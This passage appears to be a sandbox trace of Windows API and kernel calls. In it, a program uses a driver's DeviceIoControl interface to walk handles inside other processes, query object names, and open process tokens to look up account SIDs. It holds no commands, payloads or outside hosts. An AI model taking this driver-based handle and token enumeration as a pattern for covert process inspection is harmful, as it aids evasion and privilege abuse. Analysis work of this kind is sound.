lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.922] PsLookupProcessByProcessId (in: ProcessId=0xc30, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.922] PsAcquireProcessExitSynchronization () returned 0x0 [0095.922] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880052335d0) [0095.922] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.922] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.923] PsReleaseProcessExitSynchronization () returned 0x2 [0095.923] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x27 [0095.923] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0095.923] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.923] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.923] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.923] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.923] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0095.923] PsLookupProcessByProcessId (in: ProcessId=0xc30, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.923] PsAcquireProcessExitSynchronization () returned 0x0 [0095.923] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880052335d0) [0095.923] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80039c5740, HandleInformation=0x0) returned 0x0 [0095.923] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.923] PsReleaseProcessExitSynchronization () returned 0x2 [0095.923] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x27 [0095.923] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233508) returned 0x0 [0095.923] ObfDereferenceObject (Object=0xfffffa80039c5740) returned 0x1 [0095.923] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.923] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.923] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.923] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.923] PsLookupProcessByProcessId (in: ProcessId=0xc30, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.923] PsAcquireProcessExitSynchronization () returned 0x0 [0095.923] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880052335d0) [0095.923] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0042365a0, HandleInformation=0x0) returned 0x0 [0095.923] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.923] PsReleaseProcessExitSynchronization () returned 0x2 [0095.923] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x27 [0095.923] ObQueryNameString (in: Object=0xfffff8a0042365a0, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233550) returned 0x0 [0095.923] ObfDereferenceObject (Object=0xfffff8a0042365a0) returned 0x1 [0095.923] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.923] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.923] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.923] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0095.923] PsLookupProcessByProcessId (in: ProcessId=0xc30, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.924] PsAcquireProcessExitSynchronization () returned 0x0 [0095.924] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880052335d0) [0095.924] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80039c55f0, HandleInformation=0x0) returned 0x0 [0095.924] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.924] PsReleaseProcessExitSynchronization () returned 0x2 [0095.924] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x27 [0095.924] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.924] ObfDereferenceObject (Object=0xfffffa80039c55f0) returned 0x1 [0095.924] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.924] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.924] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.924] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.924] PsLookupProcessByProcessId (in: ProcessId=0xc30, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.924] PsAcquireProcessExitSynchronization () returned 0x0 [0095.924] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880052335d0) [0095.924] ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0095.924] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.924] PsReleaseProcessExitSynchronization () returned 0x2 [0095.924] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x27 [0095.924] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.924] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xc [0095.924] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.924] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.924] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xc8c) returned 0x0 [0095.924] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.924] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0095.924] PsLookupProcessByProcessId (in: ProcessId=0xc8c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0xc000000b [0095.924] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.924] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.924] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.924] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0095.924] PsLookupProcessByProcessId (in: ProcessId=0xc8c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0xc000000b [0095.924] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.925] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.925] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xc9c) returned 0x0 [0095.925] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.925] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0095.925] PsLookupProcessByProcessId (in: ProcessId=0xc9c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0xc000000b [0095.925] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.925] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.925] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.925] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0095.925] PsLookupProcessByProcessId (in: ProcessId=0xc9c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0xc000000b [0095.925] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.925] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.925] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.925] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0095.925] PsLookupProcessByProcessId (in: ProcessId=0xc9c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0xc000000b [0095.925] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.925] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.925] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.925] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0095.925] PsLookupProcessByProcessId (in: ProcessId=0xc9c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0xc000000b [0095.925] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.925] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.925] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.925] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0095.925] PsLookupProcessByProcessId (in: ProcessId=0xc9c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0xc000000b [0095.925] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.925] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.925] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.926] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0095.926] PsLookupProcessByProcessId (in: ProcessId=0xc9c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0xc000000b [0095.926] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.926] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.926] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.926] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0095.926] PsLookupProcessByProcessId (in: ProcessId=0xc9c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0xc000000b [0095.926] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.926] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.926] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xcbc) returned 0xc0 [0095.926] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.926] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800394e060, HandleInformation=0x0) returned 0x0 [0095.926] ObOpenObjectByPointer (in: Object=0xfffffa800394e060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.926] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x11 [0095.926] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024d98c0 | out: TokenHandle=0xfffffa80024d98c0*=0xc8) returned 0x0 [0095.926] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.926] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.926] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.926] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.927] CloseHandle (hObject=0xc8) returned 1 [0095.927] CloseHandle (hObject=0xc0) returned 1 [0095.928] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.928] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.928] PsLookupProcessByProcessId (in: ProcessId=0xcbc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.928] PsAcquireProcessExitSynchronization () returned 0x0 [0095.928] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff880052335d0) [0095.928] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002890320, HandleInformation=0x0) returned 0x0 [0095.928] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.928] PsReleaseProcessExitSynchronization () returned 0x2 [0095.928] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0xf [0095.928] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.928] ObfDereferenceObject (Object=0xfffffa8002890320) returned 0x1 [0095.928] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.928] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.928] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.928] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.928] PsLookupProcessByProcessId (in: ProcessId=0xcbc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.928] PsAcquireProcessExitSynchronization () returned 0x0 [0095.928] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff880052335d0) [0095.928] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80028695c0, HandleInformation=0x0) returned 0x0 [0095.928] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.928] PsReleaseProcessExitSynchronization () returned 0x2 [0095.928] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0xf [0095.928] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.928] ObfDereferenceObject (Object=0xfffffa80028695c0) returned 0x1 [0095.928] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.928] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.928] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xcc4) returned 0xc0 [0095.928] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.928] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80039a2060, HandleInformation=0x0) returned 0x0 [0095.929] ObOpenObjectByPointer (in: Object=0xfffffa80039a2060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.929] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x23 [0095.929] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024d98c0 | out: TokenHandle=0xfffffa80024d98c0*=0xc8) returned 0x0 [0095.929] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.929] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.929] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.929] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.930] CloseHandle (hObject=0xc8) returned 1 [0095.930] CloseHandle (hObject=0xc0) returned 1 [0095.930] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.930] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0095.930] PsLookupProcessByProcessId (in: ProcessId=0xcc4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.930] PsAcquireProcessExitSynchronization () returned 0x0 [0095.930] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880052335d0) [0095.930] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80028c5bb0, HandleInformation=0x0) returned 0x0 [0095.931] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.931] PsReleaseProcessExitSynchronization () returned 0x2 [0095.931] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x21 [0095.931] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.931] ObfDereferenceObject (Object=0xfffffa80028c5bb0) returned 0x1 [0095.931] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.931] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.931] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.931] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0095.931] PsLookupProcessByProcessId (in: ProcessId=0xcc4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.931] PsAcquireProcessExitSynchronization () returned 0x0 [0095.931] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880052335d0) [0095.931] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002d54920, HandleInformation=0x0) returned 0x0 [0095.931] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.931] PsReleaseProcessExitSynchronization () returned 0x2 [0095.931] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x21 [0095.931] ObQueryNameString (in: Object=0xfffffa8002d54920, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.931] ObfDereferenceObject (Object=0xfffffa8002d54920) returned 0x1 [0095.931] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.931] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.931] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.931] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, 